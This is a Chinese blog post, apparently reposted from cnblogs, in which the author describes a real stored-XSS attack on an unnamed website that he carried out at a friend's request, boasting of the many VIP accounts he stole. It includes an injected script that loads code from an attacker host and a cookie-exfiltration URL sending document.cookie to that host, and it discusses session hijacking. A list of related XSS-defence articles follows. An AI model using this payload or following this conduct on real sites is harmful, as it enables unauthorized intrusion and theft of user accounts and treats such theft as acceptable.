首次成功实施 XSS 攻击,盗取目标网站大量 VIP 帐号

简介:

前言


之前做网站时有做代码防御 XSS(Cross Site Script) 攻击,但是却只处于了解的阶段,并不知道其中具体的原理,更别说使用了。最近有朋友要求我帮助他 Hack 一个网站,达到一定的目的。思考来思考去,最后想了一套方案,并最终成功实施。现在回想起来,整套解决方案中,其实主要就是 XSS。

(   本文不会公布目标网站地址。主要是为了交流技术,以帮助大家在 Web 开发中更好地防御 XSS。

看文章标题说得比较牛,其实我也不会去修改他们的密码,太坏的事咱可不能干。 :)   )

 

XSS 简述


关于 XSS 的讲解,网上还是比较多的,参照百度百科吧:http://baike.baidu.com/view/50325.htm

 

攻击流程


假设我想盗取 www.Target.com 中的其他用户,并使用他们的身份来登录该站点。那么我同时还需要一个自己的服务器,假设为 www.HackHost.com。然后,使用我自己的帐号登录到 Target.com,然后在我的个人页面中提交脚本(例如在个人档案中加入一定的脚本。关于如何提交,后面再讨论。)。该脚本内容比较简单,如下:

var cb = document.createElement("script"); cb.src = "www.HackHost.com/clientHacker.js?" + new Date().getTime(); document.body.appendChild(cb);

这样,每个浏览我的个人页面的其他用户,都会自动下载 www.HackHost.com/clientHacker.js 这个 javascript 文件执行。这个文件是部署到我的 HackHost.com 服务器上的,我可以在其中加入任意的脚本。这样,当前登录的用户的整个客户端都处于这个脚本的控制当中。

接下来,可以把该用户的 cookie 通过 document.cookie 得到,然后提交到 HackHost.com。由于这里已经跨域,所以不能使用 Ajax 提交。跟刚才下载文件一样,可以拼接链接地址再下载一个新的文件就可以了。例如,下载:’www.HackHost.com/cookieGetter.ashx?c=’ + document.cookie。

而服务端接收到这个请求后,可以把 Cookie、IP、时间等记录下来。这样就可以方便我慢慢地分析每个请求。

 

所需工具


这次 Hack 涉及到的工具不多,主要是用 fiddler 分析和伪造各种 HTTP 请求。

另外,还会重用到之前秒杀的一些类库(见:《“秒杀”心得》),主要用于 .NET 环境下使用代码提交构造好的 HTTP 请求。

 

结果截图


image

好多 VIP 帐号啊。 :)

 

难点


其实 XSS 的难点在于,如何把脚本注入到目标网站中。这需要分析目标网站的输入过滤规则,然后构造不满足过滤规则而且可以最终执行的 js。这篇文章里面讲的还不错:《一只完整的XSS wrom实现流程》。

别处,用 js 并不能获取到完整的 Cookie 值,这是因为如果 Cookie 中带有 HttpOnly 标记的话,js 是不能读取的。例如,asp.net 网站的 SessionId 对应的客户端 Cookie 就是标记了 HttpOnly的。否则,我们就可以通过 js 获取到最近可用的 Session,并伪造该 Session 进行(Session 劫持)。

 

小结


总体上来说,这次的攻击是比较简单的。而且这次的目标网站对于自身的安全性确实没有做什么工作,很轻易我就把 js 注入了。另外,他们还把用户标识保存在 cookie 中,虽然标识是加密后的,但是这不影响我的使用场景。

之前做过秒杀,但是算不上 Hack,这是第一次成功 Hack,所以写这篇文章简单纪念一下。 :)

 


本文转自BloodyAngel博客园博客,原文链接:http://www.cnblogs.com/zgynhqf/archive/2012/06/30/2571344.html,如需转载请自行联系原作者

相关文章
|
2月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
1月前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
87 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
68 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
1月前
|
存储 安全 JavaScript
XSS攻击(Cross-Site Scripting)
【8月更文挑战第11天】
46 2
|
20天前
|
存储 安全 JavaScript
解释 XSS 攻击及其预防措施
【8月更文挑战第31天】
40 0
|
1月前
|
存储 JavaScript 安全
Web安全之XSS跨站脚本攻击
XSS(跨站脚本攻击)
61 7
|
30天前
|
SQL 监控 安全
在Linux中,如何检测和防止SQL注入和跨站脚本(XSS)攻击?
在Linux中,如何检测和防止SQL注入和跨站脚本(XSS)攻击?
|
3月前
|
SQL 安全 Java
java的SQL注入与XSS攻击
java的SQL注入与XSS攻击
99 2
|
3月前
|
前端开发 安全 JavaScript
XSS和CSRF攻击概览
【6月更文挑战第27天】**XSS和CSRF攻击概览** - XSS:利用未验证用户输入的Web应用,注入恶意脚本到浏览器,盗取信息或控制用户账户。防御措施包括输入验证、内容编码、HttpOnly Cookie和CSP。 - CSRF:攻击者诱使用户执行非授权操作,利用现有会话。防御涉及CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。 应用这些策略可提升Web安全,定期审计和测试同样重要。
42 3
|
2月前
|
存储 JavaScript 网络安全
XSS 攻击是什么?如何防护?
XSS 攻击是什么?如何防护?
71 0